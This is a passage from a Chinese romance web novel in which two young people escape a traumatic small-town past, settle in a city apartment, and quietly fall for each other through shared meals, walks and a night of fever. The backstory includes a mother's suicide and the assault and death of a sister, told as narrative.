她缓过来,先替他高兴:“哥哥好厉害!不仅考到名牌大学,还拿到了奖金!太棒了!”
他们共享喜怒哀乐,感受着对方的感受。
“我觉得我好了,不用去医院看病,你好好攒钱读大学,”她低头咬一口菜,“能搬家当然是最好的,我就不用怕那些人再回来闹事了。”
她所说的“那些人”,是给爱赌博的爸爸借出高利贷的一群社会混混。
爸爸常年流连牌桌之上,沉迷打牌,他输掉家里的存款,想快速翻身,鬼迷心窍去借高利贷,结果负债累累。
他实在拿不出钱来还,放高利贷的人找到他,明示他带老婆出来陪他们吃顿饭,就可以一笔勾销之前的债务。
仅仅只是吃一顿饭那么简单的话,妈妈怎么会割腕自杀。
爸爸当晚回到家,给妈妈跪了很久,往常对她拳打脚踢的男人,这时跪在她面前,哀求她用身体去帮忙偿还账务。
他哭着说:“老婆,你就帮我一次吧,我以后肯定好好和你过日子,我再也不上牌桌了,老婆,他们说要是办不到的话,就砍我两只手,可是砍了我的手,我以后还怎么找工作干活……老婆,求求你了。”<
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p>年幼的初雨听不清爸爸在房门紧闭的卧室内说了些什么。
她只知道,那天晚上,妈妈哭了很久。
翌日中午,她放学回来,看到卧室门敞开,妈妈穿着她生前最爱的那件衣服,安详闭眼躺在枕头上。
妈妈伤口深深的手腕还在往下滴血,木地板上铺了一层粘稠鲜艳的血液,割过腕的刀子躺在一旁阳光中的床铺上,刀刃卷着血液。
她以为,妈妈的离开,能换来爸爸洗心革面。
没料到爸爸那么狠心,他瞒着姐妹俩,回到家拿走所有现金和妈妈生前值钱的首饰,扔下两个女儿,一走了之。
他走了,债务还在。
放高利贷的人隔三差五来骚扰她们,在初雪出门打工的路上,对她说一些污言秽语。
在初雨放学后,从校门口明目张胆尾随她直到回家,吓得她往后再听到敲门声都会精神紧绷。
某天,那些人实在忍不住。
踩点等初雪回家,捂住她的嘴把她带到楼上天台,威胁她再不想办法拿钱,就对她不手软。
他们会挨个折腾过她以后,把她送到用美貌去换钱的地方,一直到她还清父亲留下来的债务,才能放过她。
在这之前,初雪想过搬家,想过带妹妹离开这个伤心之地。
但她们手上的钱,不够搬家,妹妹还在读高一,小镇就这么大,她们能搬到哪里去?
不等攒够钱,那些人就把初雪逼到绝境。
为首的老大对初雪上下其手,撕了她的衣服,初雪大声呼救,不断躲开他们肮脏的魔爪。
放学的初雨听到姐姐在楼上的呼救,她找了根楼梯间杂物堆里带尖钉的木棍,拔腿往楼上去。
后来的场面好混乱,她不敢仔细回忆。
姐姐退到岌岌可危的矮墙边,初雨拿木棍赶开那些人,就在她以为要救下姐姐的时候,姐姐被人往外推了一把,悲剧发生在眼前。
他们被以不同罪名抓进牢狱之中,但各自家里疏通关系,眼看释放日期越来越近,言迹担心继续在这里生活的话,会重蹈覆辙。
没办法做到每分每秒和初雨待在一起,在他上学或出门的时间,万一那些人再来骚扰初雨,她吃亏了怎么办。
最好的办法就是搬家。
现在手上有足够搬家开启新生活的资金,他们有和这个地方说再也不见的底气。
言迹坚持带她去医院,要检查完才能放心。
好在检查结果比较乐观,只需要再配合吃几个疗程的药,就能差不多痊愈,只要往后不再遭受同类型的重大打击,畏光症就不会复发。
搬到市里的新家,仍然是没空调没暖气的环境。
这样的条件,长期租金相对便宜,而且在大学城附近,方便言迹每天往返照顾初雨。
初雨趴在窗户边往外看。
单调的小镇景色逐渐淡去,眼前城中村的热闹让她倍感新鲜。
楼下的商铺大多是小饭馆,头顶的黑色线缆纵横交错。
城市里的空气没有小镇新鲜,陌生的地域,仿佛要吸引她快点出门熟悉未来的生活环境。
大概整理完搬来的东西,他们筋疲力尽,肚子饿得咕咕叫。
言迹问:“想吃什么?我下楼买饭。”
初雨不想他太折腾,拿过一旁装零食的收纳箱:“还有两桶泡面,我们吃泡面?好久没吃了,有点馋,还找到瓶可乐,我们分了喝吧?电视里的人庆祝开心的事,不是都会开一瓶带气泡的饮料吗?可乐就当庆祝我们搬家到新环境。”
带气泡的饮料?她说的是香槟吧。
言迹答应她吃泡面,他去烧开水,泡软面。
时间到,初雨撕掉泡面盖,吸一口带汤汁的面条,幸福感再次蔓延。
和对的人在一起,吃泡面都觉得很香很美味。
她拿起杯中的可乐要喝,言迹拦下:“现在不能喝可乐。”
20. 第二十夜
“为什么?”初雨虽有疑问,倒也放下可乐。
言迹解释:“碳酸饮料属于酸性物质,方便面添加剂有碱性物质,这两种东西同时下肚,会发生中和反应,产生大量二氧化碳,容易胀气不舒服。”
她听明白:“言迹,你懂好多呀。”
他清浅一笑,这没什么的。
突然感觉哪里不对劲,她最近喊他都是直呼名字,没再叫哥哥。
“小鱼,”言迹望向她侧脸,“你怎么不叫哥哥了?”
她用叉子挑面的动作明显停顿,眼神凝滞瞬秒后又快速乱作一团混沌。
从她彻底确定对言迹的心意后,就没再喊过他哥哥。
“哥哥”的称呼仿佛变成禁忌,哪里会有妹妹对自己的哥哥动心?
即使他们不是亲兄妹,言迹早拿她当亲妹妹对待,要怎么告诉他,她的感情变化?
说完之后,他还会拿她当妹妹看待吗?
她的单向喜欢,会让他猝不及防吧。
害怕表明心意后,言迹要和她拉开距离,要和她分开。
所以选择闭口不言,暂时掩藏心事。
她临时想借口:“嗯……因为我到了青春期,比较叛逆。”
言迹被她这理由逗笑,她都乖成什么样了,对他言听计从,从不惹他生气,还经常为他着想。
叫一叫他的名字,算哪门子的叛逆?
言迹顺着她:“你喜欢喊名字就喊名字吧,怎么开心怎么来,我都依你。”
“嗯。”她应一声,继续吃面。
她心里的小雀跃像玻璃杯中攀附杯壁上升的可乐气泡,一颗颗往顶端冒,最后相继破裂。
酸甜的、隐秘的、带有一点苦涩无奈交织出的复杂情绪,名为暗恋。
一室一厅的新家户型,言迹照旧睡沙发。
新的沙发是沙发床款式,合起来是宽敞沙发,拉开是弹簧床,他能睡得舒服些。
他躺在沙发床上,眺望窗外远处高楼的灯火通明,心里的重压卸掉一角。
手机响起企鹅消息,他点开看,是赵以恒发来的。
【赵以恒:我明天到市里,有我几个朋友开的聚会,你来不来玩?人多热闹。】
赵以恒没考到和言迹一所大学,读了个市里的普通二本,他以后要继承家业,不认真读书也没大事。
言迹只有读书这一条出路,没人给他当靠山。
【言迹:我不去了,你们玩得开心。】
他内向,不善交际,去了只会徒增不适。
和小镇的王阿姨告别当天,陈雯娜也在旁边。
陈雯娜没考上心仪大学,选择复读一年,她听到言迹要离开小镇去市里的消息,欲言又止好几次,最后只问:“言迹,你以后还回来吗?”
言迹实话实说:“没事的话,应该不会回来了。”
他拼命逃出去的地方,怎么还会主动回来。
小镇有他太多悲伤的过往,好不容易丢弃了,不会重新再拾起。
新消息提示声拽回言迹的思绪。
【赵以恒:你应该多和人接触,别把自己封闭起来。】
【言迹:不用,这样就挺好。】
他没心思、没精力认识新的朋友,再去和对方建立一段稳定的友情关系。
生活有太多要他操心的事情,他一个人可以应对,不需要朋友。
新生活正式拉开序幕。
言迹每天监督初雨吃药吃饭,带她出门熟悉周围环境,正好借此,他留意附近哪里需要暑假工,哪里能去做兼职赚钱。
单靠奖金生活,撑不了长久时间,手里要有多一些存款,他不想再过从前那种窘迫的穷日子。
三天后,言迹找到两份不冲突的兼职。
早上七点送鲜牛奶,九点回家,晚上八点送晚间报纸,十点回家。
他外出工作的时间,初雨和兔子玩偶在家看电视,或者漫画。
偶尔报纸送完的晚,他回来的也晚,瞧见初雨正捧着漫画书看得津津有味,她说:“言迹,我已经下楼吃完饭啦,还给你带了晚饭在冰箱里,热一下就能吃。”
“小鱼真贴心,我这就去。”
她和正常人一样,能出门吃饭、散步,无惧自然光线。
八月上旬,言迹暂停兼职,他去图书馆借阅大一上学期会接触到的知识书,提前预习功课。
空闲时间,他和初雨一起看她感兴趣的电视内容。
时常会停留在动画片频道,看看元气满满的海绵宝宝,还有破案神速的柯南。
他们被剧情吸引,恍然间,有种重回到小时候的错觉,无忧无虑的感觉短暂回归心间后又快速溜走,并且提醒他们,已经长大成人了。
太阳落山后,他们出门去街巷小饭馆里解决晚饭。
近处巷子间距近,诸多饭馆香气交融混杂,远处开阔些,不变的是远近相同的彩色霓虹灯箱闪烁着招牌字样。
卷闸门半阖的按摩店里亮起紫色灯光,理发店里的小孩子哭闹着不愿剪发,享受暑假的学生骑自行车飞快驶过巷道坑洼不平的水泥路面,野猫四处乱窜。
黄昏时刻,信步在小巷里的走道,不同住户家亮起的灯盏,让人不自觉去联想,大家过的是什么样的生活。
天空渐渐失掉颜色,远处的澄净鹅黄和近处的湖蓝深蓝相接,构织一副巨幕水彩画挂在天际供人欣赏。
初雨仰头,瞧见色彩丰富多样的苍穹,拽拽言迹衣摆:“快看天上,好漂亮。”
蓝色侵袭远处的暖调,夜幕宣告几分钟后即将占领晚间空域。
言迹和她共同驻足望天:“日落后的蓝调时刻只有二十分钟左右,太短暂但是很惊艳。”
听到陌生的词汇,她轻声念叨:“蓝调时刻?”
“高中老师教过我们,英语叫BlueMoment,蓝调时刻是日出前和日落后的短暂时刻,当太阳高度为-4°到-6°之间的时段,太阳虽然已经落下,但天空没完全黑,会呈现并非单一色彩的静谧蓝色调,是由深到浅的渐变,从深蓝到浅蓝,再到与地平线交界处的暖调,就像我们看到的这样,蓝调时刻会大约持续16到24分钟,是自然景观中的特定时刻,很多摄影师喜爱蓝调时刻,因为这时候的光线和色彩可以创造出神秘忧郁的效果。”
意识到说了太多,言迹收声,去看身边人的反应。
她还抬眸沉醉在最后几分钟的蓝调时刻中,满怀期待地问他:“那我们以后去海边看日出日落的话,是不是一天内能看到两次蓝调时刻?”
“对,海平面和天际线紧靠,会是很特别的景色。”
“好期待那一天呀,不过你快开学了,我们明年暑假去看海吧?”
言迹答应:“没问题。”
她的笑容恬淡:“好喜欢你给我说这些我不知道的知识,往后多说一点给我听吧?”
言迹点头:“行,我懂得不多,你有什么很想知道的,可以问我,我学完之后再告诉你。”
吃完晚饭,他们回到出租屋。
在只有一台矮风扇的条件下,他们放弃分居两室,如果分开住,肯定有一个人要放弃风扇。
言迹擦干净客厅的地砖,铺上凉席,打开风扇送凉。
他和初雨各占凉席一侧,他穿着宽松的短袖和中裤,初雨穿吊带连衣裙。
即使这样,还是有些热,八月的风怎么吹都是燥热的。
这么一来,黑夜显得格外漫长难熬。
谁都睡不踏实。
凌晨四点左右,初雨被热醒,她往旁边一看,言迹也皱着眉醒来,他擦掉额上的汗,在黑暗中看到她的眼睛:“醒了?”
“嗯,”她往外瞧一眼,天幕浓黑,“夏天的夜晚怎么和冬天一样长呢?”
她开始喜欢白天。
白天可以出门买冰激凌,晚上很少有商店开门,白天还可以去有空调的书店里看书。
深夜的寂静,像极了在小镇生活时,日夜安静的时光,容易勾起一些不太愉快的回忆。
过去的她蜷缩在黑暗里,见不了光。
现在的她和正常人一样生活,等复查时间到了后,去检查恢复情况,各项指标正常的话,就可以准备复学。
言迹给她解决方案:“黑夜漫长的话,我们去有光的地方。”
她没听懂:“嗯?”
“要不要去吃早餐?”言迹看了眼时间,“起来洗个澡,收拾一下,我带你去另一个街区吃早饭,那是我送牛奶的时候,经常路
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过的地方,早餐种类多,还便宜好吃。”
“好。”她起来洗漱。
两个人收拾好,起身往外去。
五点半,早餐店已经开始营业。
大部分上班族还没起床,店里人不多。
“进来坐,看看想吃什么?”店主热情招待,用破旧抹布擦了擦略有油腻的桌面。
言迹:“两碗豆浆,两根油条,再来两块钱的水煎包,先要这些,不够的话再点。"
“好嘞。”
言迹清楚初雨从小到大的口味,但还是问她:“有其他想吃的吗?”
她摇摇头:“我只喜欢豆浆油条。”
水煎包是言迹喜欢的,他们十几年的口味没任何变化。
所有早餐上齐。
初雨用油条蘸豆浆吃,她吃得很慢。
“不合口味吗?”言迹关心她。
“没有,就是想到小时候的事,我们一起上学之前,我有一天早上买豆浆,豆浆用塑料袋装着,我没提好,袋子掉地上,豆浆全洒了,我被家里人骂了一顿,那天好难过,从那往后很长时间都没敢要豆浆喝。”
幼时的家里,每天都有大大小小的事情,引发各种各样的争吵,一点小事而已,搞的好像是世界末日到了一样可怕。
言迹安慰:“都过去了,以后有我,你清楚我从来不发脾气不骂人。”
他内里温柔,没有任何不良嗜好,情绪稳定,为人可靠,有进取心。
不管是当哥哥,还是当男友,都是不错的人选。
“就算我做了过分的事情,你也不会生气吗?”她试探。
言迹挑眉:“举个例子?什么过分的事情?”
她抿抿唇,犹豫要不要说清心意。
比如,我喜欢你。
够不够过分?
没勇气问出来,她不想毁了言迹的好心情,让他为此苦恼。
等到实在忍不住要表白的时候,她会认真说出来。
她含糊过去:“等我想到了再说。”
“行。”言迹对于她的事,永远有耐心。
吃完早饭,言迹要了两份带走的袋装豆浆,递给初雨:“回去放冰箱,中午喝。”
她小心接过,听到他说:“洒了也没事,不会有人骂你,就算洒了一袋还有另一袋,两袋都洒了的话,我给你重买。”
“我会好好提着的,中午你喝一袋,我喝一袋。”
言迹的唇角微扬:“我不喝,都是你的。”
要是有时空穿越就好了,他想提一袋豆浆回到过去,递给哭泣的小初雨,让她不要再难过。
她正要说话,言迹出声:“不管以前怎么样,以后的日子,我会一直陪你身边,你想做什么就放心去做,我会为你兜底。”
身份无所谓,只要能陪在她身边,就好。
“为什么对我这么好?”她的眼眶有些发酸。
言迹眼瞳中倒映清晨的日出:“没有理由,就是想对你好。”
就这么简单。
傍晚,天空阴云密布,似乎在酝酿一场雨。
等了段时间,没有雨点落地,晚风夹杂难得的凉意,吹进窗户。
“要出去吹吹风吗?”言迹看向初雨。
初雨合起漫画书:“好呀。”
等他们到楼下,风不吹了,有些闷。
走出些距离,初雨拿手在脸前扇风:“有点闷闷的。”
气候像他们沉闷的生活。
刚说完话,天空开始掉雨点。
回去取伞有些远,雨势不大。
降雨带来稍凉的冷空气,试图击退夏季末尾的高温。
“跑起来就有风了。”言迹牵住她的手,脚下加速。
生活沉闷,但跑起来有风。
没问去哪,没问要跑多久。
初雨跟着言迹的步伐,往前快速奔跑,眼前的街巷全被抛到身后,雨丝汇聚,在地面上积起大小不一的水洼。
像一场毫无预兆的惊险出逃。
在这个下过雨的晚上,冷空气肆虐这座城市每一寸角落。
我们手牵手狂奔着逃离这里,地面水洼溅起的水花倒映霓虹碎片,世界被按下加速键,一如我望进你眼底时,不听话的心跳。
21. 第二十一夜
雨势转小,言迹和初雨停步,平复呼吸。
他们不谋而合地同时松开手,对视瞬间,分不清剧烈的心拍是因为运动过量引起正常反应,还是因为都对彼此生出意料之外的心动。
初雨察觉空气里带有大自然新鲜的原生植物味道,平时闻不到。
她看向言迹这个现成的“百科全书”,问他:“你闻到这股特殊的味道了吗?只有下雨天才会出现,好像天上在洒雨天专供的香水。”
言迹为她解惑:“你这么说很恰当,这种特殊味道的英文名字叫做Petrichor,意思是下雨时的尘土味,当雨滴落在石头或者混凝土的表面时,灰尘和植物的菌群被雨水击飞,才会产生这种气味。”
他讲话的语调和平时聊天一样,没有装作学识渊博的样子,还夸赞她的说法合适。
讲知识的同时,不会让初雨觉得她自己见识少或者脑袋笨。
她听明白后,继续发散思维:“那要是海边下雨,也会闻到这样的味道吗?”
记忆中唯一一次去海边,是阳光明媚的晴天,她对没见过雨天的海面充满探究欲。
言迹的眼瞳望向远方:“等我们去看海的时候遇上雨天,你就知道这个问题的答案了。”
“会看到美人鱼吗?”她的思维跳脱一如既往。
他没打击她的美好幻想:“说不定呢,她或许会给你讲讲海里的故事。”
两人边走边聊,饥饿因子在他们胃里作祟。
前方有家米线店,店面小到只够容纳四套桌椅,门口放着煮米线的围炉和大铁锅,旁边摆着切菜的案板,上面有切好的碎葱花。
香味飘出,言迹和初雨走进去。
点了两份麻辣米线,又烫又辣的筋道米线送进口腔,在雨后潮湿的黏.稠空气里撕出一道反差鲜明的感知。
吃完米线,雨丝几乎完全停止,不过还剩些零碎小雨点固执地刷存在感。
“要散散步吗?”言迹问她。
“好呀,这会儿不热,就当乘凉。”
凹凸不平的水泥路面,四处趴伏小水坑。
言迹提醒她:“尽量挑干燥路面走。”
她低头扫视自己鞋面不小心溅到的泥水点,不太在乎:“反正回去要洗鞋,走哪里都无所谓吧。”
言迹轻声浅笑,嗓音漫出她来不及察觉的宠溺:“我担心你走水坑里,不小心滑倒了。”
她伸出一只手:“你牵着我,就不会滑倒啦。”
为了和他牵手,还要找一个借口。
言迹像被主人驯服的小狗,听到任何指令都会乖乖照做。
他的睫毛低垂,视线聚焦他牵住初雨的手,仿佛这一道目光,要灼烧掉两人手心交握压制的隐秘心事。
他们漫无目的往热闹处走,穿过巷尾,迈向街区主干道。
卖衣服的店员热情给顾客推销当季新品,五金店老板拿工具忙活,奶茶店员工询问客人的口味……人间烟火气息,在市井街道极致浓厚。
路灯接连亮起,光柱延伸到看不见的地方。
初雨晃晃言迹牵着她的手:“言迹,你看路灯像不像从天上掉下来的星星?”
言迹仔细留意路灯的暖黄色灯光,确实像繁杂星芒投落明亮,而且路灯和星星一样,只在晚上亮起。
他再次感叹初雨的奇思妙想,生活中司空见惯的物品,经她眼睛的滤镜,总能析出更新奇有趣的见解。
“的确像,你的说法很特别。”
不仅喜欢她说的每句话,也喜欢当下握在一起发烫的掌心,喜欢余光里她的侧脸轮廓,喜欢专属于他们的特殊意义。
……也有点喜欢她。
雨点停歇,街上行人渐渐增多。
新的环境里,没人认识他们,没人介入他们之间的关系。
更没人知道,他们互相暗恋对方。
初雨曾经所感受的糟糕情绪,像一场经久不息的大雨。
言迹给她的耐心陪伴和照顾,像一把及时出现的雨伞。
虽然雨伞不能让雨停下来,但是可以奇迹般地把那些坏情绪全部撑开。
这片街区很热闹。
靠近大型商厦的路面,被小摊贩们占据掉空闲,摆在地上出售的小物品,有女孩子的发绳、可爱的小号盆栽、造型新颖的钥匙圈、论斤称的旧书、着急处理的特价衣服……种类丰富,引人驻足。
言迹的目光,顺着初雨眼神所停的方向而挪移:“有什么想买的东西,尽管开口,我付款。”
她花钱买喜欢的物品,他买她的开心。
看见她笑,他会觉得幸福。
她走走停停,言迹陪她慢慢逛。
直到逛完所有摊位,她也没说要买哪个物件。
言迹企图读懂她的内心所想:“你不用担心价格,我有攒钱,够给你买东西,再说了,我赚钱不就是给你花的么?你要花钱,我才有动力赚。”
他不富裕,但他可以把拥有的,都捧到她面前。
初雨对上他认真的神色:“我想买的东西,这里没有卖的。”
“你要买什么?我陪你多逛几个地方,总能找到。”言迹竖起耳朵,仔细听她接下来的每一个字。
初雨朝言迹走近,两人间距不过一掌,有些暧昧的预警。
心跳狂乱中,他们沦陷在眼前人的瞳眸中。
“我想买你永远平安幸福,开心快乐。”她的睫毛轻颤,说出真心话。
再贪心一点,想买言迹对她的喜欢。
想买他永远陪在她身边。
言迹的眼稍微翘:“还想买什么?”
她大着胆子:“想买你永远陪我身边。”
仍旧不敢提到喜欢的字眼。
“平安幸福开心快乐,比较难办,这些不是人为可以控制的因素,连我本人都说不准未来会怎么样。”
言迹的嗓音放柔几个度,“但是永远陪在你身边,不用买,这是我答应过你很多遍的事情,我会遵守诺言。”
辛苦压抑的情感,开始明目张胆地增长。
他多次提醒自己,要把握好相处的分寸,但偏偏心跳喜欢冒险。
旁边卖西瓜的摊贩用喇叭吆喝:“脆甜脆甜的西瓜!新鲜多汁的西瓜!”
招揽买家的粗糙男声,盖过初雨越发紊乱的心神,她借此转眸看向西瓜摊,终止一场无声的告白。
“想吃西瓜了?”言迹自然握住她的手腕,挪步向前,“我们买个西瓜放冰箱,晚上看电视剧的时候吃冰镇西瓜。”
“好!我帮你一起提回家。”
“不用,西瓜重,你提着勒手,我力气大,提着刚好。”
言迹挑了个大西瓜,让老板帮忙一分为二。
回家后,他把两半西瓜放进冰箱。
冰箱是从老家带过来的,最开始是爸爸买给奶奶用来放蔬菜保鲜的,一直用到现在,时间久了,制冷功能衰减,估计要多放一会儿,才能吃到冰爽的西瓜瓤。
等到初雨常看的节目南播出,她充分投入剧情。
言迹去冰箱取西瓜,拿上两个勺子。
他和初雨坐在电视机前,一人捧半个冰镇西瓜,品尝夏天即将结束的甘甜。
言迹把西瓜最中间的那一口喂给她吃:“听说西瓜最中间这口很甜,你帮忙判断一下真假?”
她咬下言迹勺子上的西瓜块,认真比对:“真的!”
“慢点吃,弄得满嘴都是。”言迹抬手,帮她抹掉唇角的西瓜残屑。
初雨向后仰靠在沙发上,姿态含有满足的慵懒:“这样的生活好幸福啊,和小时候一样,看着电视吃西
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瓜,镇上夏天总停电,我们搬来这里后,好像还没停过电呢。”
旁边风扇叶片极速飞转,吹起她和言迹的额前鬓角头发。
言迹吃完最后几口西瓜,收拾桌面垃圾:“毕竟是大城市,住户多,经常停电的话,会引起大家不满吧。”
“也是。”
“你继续看,我戴耳机听会儿大学英语。”言迹拿来从图书馆借的书,打算抓紧读完归还。
她点头:“好。”
言迹听耳机里播放的英语长句子,背靠沙发专心浏览书页内容。
等他看完剩下的二十多页,摘下耳机,余光瞥见倒在地上凉席一侧的初雨,她睡得正香。
他放下手里的东西,拿条薄毛巾被给初雨轻手轻脚盖好,护住她腰腹位置防止被风扇吹着凉。
夜深,他关掉电视,躺在凉席另一侧准备入睡,留意身体尽量和她之间隔得远些。
昏昏欲睡时,风扇停止转动。
言迹起身检查风扇是不是出了问题,窗外周围住户打开窗户说话的声音送进房间。
“哎?得是停电了?”
“黑乎乎一片,除了停电还能是啥情况?”
“本来就热,这下风扇空调都用不了了。”
“这才刚过十二点,再不赶快来电,今晚热得怎么休息啊?明天还要上班呢,真烦。”
初雨几小时前刚说过他们搬来这里后还没停过电,现在就停电了。
言迹回头看向初雨,她抓开身上的毛巾被,哼唧两声,翻过身继续睡。
看起来,她睡不踏实。
家里有出门路过大街小巷时,工作人员免费发放给行人的小扇子,每把扇子上印有某家男性医疗机构或者学生补课机构的宣传广告。
言迹会把补课机构的扇子带回来,医疗机构的扇子在回家前丢进垃圾桶,总觉得让初雨看到那些露.骨的男科疾病宣传词不好。
他拿起一把扇子,回到初雨旁边席地而坐,抬手挥动扇子给她制造凉意。
她额头上细密的汗珠在月光下闪着晶莹,言迹下定决心要多赚钱,明年夏天之前装一台变频空调,无论冬夏都能用,她再也不用怕酷暑严寒。
扇久了,胳膊发酸,他两只胳膊来回轮换,困倦到了后半夜开始吞噬他的意识。
电还没来,他强撑疲惫,侧躺初雨旁边,坚持给她扇风。
怕她吃不好,怕她睡不好。
从单纯的陪伴到有私心的喜欢,他竭尽所能想法设法地对她好,不求任何回报。
少年纯粹的感情,像越烧越旺的烈火,经得住各种试炼。
天色微亮,将近清晨。
风扇恢复运作,初雨对停电的事浑然不觉。
睡到十点多,她听到房东阿姨敲门的声音。
“小伙子,小姑娘,你们在家吗?”
言迹没醒,初雨过去开门:“阿姨,我们在家呢。”
房东阿姨知道他们的情况,由衷同情这两个可怜孩子,她端来两碗绿豆汤:“昨晚停电,你们受罪了吧?阿姨煮了些消暑绿豆汤,你们分了喝。”
初雨连连道谢:“谢谢阿姨,您等一下,我把碗还您。”
“不急。”
初雨把绿豆汤拿进厨房,分装到她和言迹的碗里,快速洗干净房东阿姨家的碗,小跑着送出去:“谢谢您。”
阿姨接过碗,简单寒暄几句,转身离开。
初雨回客厅,注意到掉落在两人之间的扇子,朝向很明显对准她。
言迹闭着的双眼下方,有淡青色的憔悴痕迹。
难怪停电了,她不仅没被热醒,还一整夜睡得舒服又踏实。
平时言迹醒很早,今天睡到现在,绝对熬了通宵。
世上除了言迹,再没人会对她这么用心。
22. 第二十二夜
剩余不多的几天假期,言迹仍旧和初雨待在一起。
白天,他们一起吃饭、散步、看书、听歌、看影片、收拾房间。
晚上,他们躺一张凉席,睡不着觉就彻夜长谈,反正有聊不完的话题,即使互相会说很多毫无意义的废话,彼此也不会觉得厌烦。
夜深,言迹和初雨面对面侧躺,中间空出足够距离,方便监督对方有没有在道过晚安后老实睡觉。
其实都没睡。
初雨悄悄睁开眼睛,看言迹闭着眼的脸,他的五官比例好到和那些恋爱漫画里的男主角一样。
不,言迹比所有漫画男主角都要好看。
他的睫毛长,皮肤白,单眼皮线条凌厉但笑起来的时候会比较柔和。
注视他安静的睡颜几秒后,她重又阖眼。
似乎只要不盯着他看,心跳就不会跳动过快引起耳颊升温。
言迹在她收回视线后,睁开眼睛偷看她。
这么来来回回地你看我我看你,终于在某一秒,他们同时睁开眼睛,瞳眸里写有“原来你也没睡”的色彩,相视一笑。
“怎么还不睡?”言迹先问她。
“等你睡着了,我再睡。”
“不,你先睡。”
这样熟悉的对话形式,大多发生在热恋期情侣煲电话粥的时刻。
其中一方意犹未尽地说“你先挂”,另一人满含不舍地说“不,你先挂”。
通常之后会紧跟“那我们一起挂”的结束语。
初雨想个好办法:“那我们同时睡,谁都不准再偷看。”
言迹赞同:“好。”
他的执行力很快,说完话就闭上双眼准备入睡。
无形的异样感,沸腾在寂静的空气中。
初雨的眼睛眯一条缝,悄悄检查言迹睡着了吗,对她的小动作有所察,他再次和她目光交汇。
两人又笑作一团。
笑累了,初雨捂着笑痛的肚子:“不是说不准偷看吗?”
言迹挑眉:“这样不是更好玩吗?”
嬉闹了一会儿,初雨的肚子咕咕叫。
“晚饭就喝半碗粥,现在饿了吧?”言迹没有责备她的意思,只是单纯拿她没办法。
她盯着天花板上熄灭的灯看:“最近没什么胃口,吃得少很正常嘛。”
言迹以为是最近气温高影响她的食欲下降,没往更严重的深层原因想。
“要出去吃夜宵吗?”他从凉席上坐起,绘声绘色描述,“吃点烧烤,喝点冰可乐,等吃饱喝足了,再回来踏实睡觉。”
“好!”
等他们从烧烤店回来,天都快亮了。
困意翻倍上涌,风扇不知疲惫地转着,初雨睡着后,无意识向言迹靠拢,好像把他当成之前每晚陪她睡觉的兔子玩偶。
她侧躺着,柔软的脸颊趴靠在言迹肩头,睡得很沉。
言迹怕吵醒她,所以没推开她,任由她保持有些越界的睡姿。
中午,言迹先醒来,他洗漱过后,进厨房系上围裙,准备给初雨做青椒肉丝面。
做好面,他盛进碗中,回客厅叫初雨:“小鱼,起来吃饭。”
她迷糊答应,身体没动,反而蜷缩更紧。
“小鱼?”言迹感觉到反常,蹲下来试探她的额头温度。
烫手的触感让言迹心里发空,他的音调紧张:“小鱼,你发烧了,快起来,我们去医院。”
她低声咕哝的话,他听不清楚。
言迹顾不上什么男女有别,抱起她就往外走。
打车去医院的路上,他反思了很多,努力寻找她发烧的证据。
她说过没胃口,是积食引起的发烧吗?
半夜带她出去吃夜宵,忘记给她带件外套,烧烤店里的空调温度过低,让她着凉了?
吃完烧烤回来的路上吹了夜风,冷到了?
这些都是他没把她照顾好的罪证。
初雨在高烧的模糊感知中煎熬,不清楚言迹有多么内疚。
她隐约听到医院嘈杂的人声,然后被人抱起放到床上,紧接着,手背微痛了一下,有人用胶布把什么东西贴到她手背上。
时间融化成一锅苦涩汤药,她是汤药上漂浮着的气泡,晕晕乎乎又无法动弹。
言迹守在病床边,寸步不离,焦急地在心里哀求各路神明,让她快点退烧,让她别再难受。
等初雨睁开双眼,输液瓶里还剩一半药。
“醒了?”言迹的声音稍微有些沙哑,是长时间没喝水又心急的焦躁感。
她看眼输液瓶,说话音量微弱:“让你担心了。”
“什么话,只要你没事就好。”
她抿抿唇:“输完这瓶,就能回家了吗?”
言迹想起护士交代过的话,给她复述:“护士说医生让做个全面检查,不排除是其他炎症问题引起发烧,因为送你来的时候,你烧的严重,需要马上退烧,还没来得及做其他检查。”
全面检查?
她听见这个词,第一时间害怕的不是如果检查出来难治的病该怎么办。
她害怕做检查要花很多钱,肯定不便宜。
他们的日子本来就过得很紧张,言迹拿到的奖金,她不知道大概数额。
但他冒着暑假高温出去送牛奶送报纸做兼职,手头绝对不宽裕。
剩下不到一周他就要去学校,需要一笔钱支付学费,万一给她做完检查,不够他的学费了怎么办?
她不清楚大学学费要多钱,也不知道言迹手里有多钱。
只明白,她不能拖累言迹。
“不用检查,我没事的,”她的语气坚定,眼神却发虚,“我的身体我了解。”
言迹没听她的:“你说了不算,该做的检查一个都不能落。”
“我想回家,我不做检查。”她放弃正常交流,带着呜咽的哭腔,重复好几遍这句话。
言迹沉默着,他觉得有必要做检查,至少要搞懂发烧的原因是什么。
但初雨很明显特别抗拒,她的眼泪顺着眼角流到头发里,看起来特别可怜无助。
“这次不做检查可以,但是回家之后,如果你再发烧,就必须做全面检查,没有商量的余地。”
言迹的声音里多了几分不容反驳的强硬,一改平日温柔,带着冰冷的压迫感。
初雨只想先把眼前的难题解决:“好。”
输完液,言迹带初雨回家。
初雨躺床上看漫画,言迹给锅里煮了粥,回来在房间整理书桌。
他不小心碰掉了两个薄厚不一的本子,本子掉地上,封皮是他从来不会用的粉色系。
弯腰捡起的动作,让他不经意看到小本子上写的时间和内容——
时间是他前几次发病日期和间隔,内容是初雨对睡美人综合症的病情相关记录。
脑海里的记忆带他回到去年十一月。
他买了只兔子玩偶准备送给初雨,回家路上联系不到她,担心有人找她麻烦,回家后发现她开着台灯看漫画,太入迷所以没管静音模式的手机。
昔日对话一并重现。
——“之前不是说尝试开灯失败了吗?”
——“上次你醒了以后,当天晚上我想开灯记点东西,就试着打开了。”
——“什么东西这么重要?能激励我们小鱼马上开灯记下来?”
——“秘密,不告诉你。”
重要的秘密,激励她开灯的真相,原来是要记和他相关的东西。
大的是一本绘画薄,里面只用过一页。
画着少年熟睡的容颜,右下角标注了日期,和她记事本上的时间对比,确定是他发病期间,初雨比照着他的脸,画下来的作品。
言迹的心情复杂,下意识合起本子放回原位,朝初雨的方向看去一眼。
还好,她戴着耳机听歌看漫画,没过问刚才怎么了,估计是没听见。
记下和他的病相关内容,他很感动。
即使说过这个病治不好,发病周期不稳定,她仍然用心记着。
可是……画下他睡着的模样,是为什么?
难道初雨对他,也萌生了特殊的情感?
会吗?
或许她当时太无聊,能做的事只有画画,而他
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又恰好睡着,是一个现成的人体模特,顺手就画了。
言迹退出房间,疯狂寻找她画他的行为本身绝对不来自喜欢他的可能。
